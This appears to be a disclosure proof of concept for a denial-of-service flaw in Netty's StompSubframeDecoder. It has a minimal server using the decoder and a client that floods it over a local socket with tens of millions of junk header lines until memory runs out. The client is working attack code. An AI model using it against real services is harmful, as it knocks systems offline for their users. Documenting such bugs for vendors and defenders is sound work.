Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder

public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}

public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}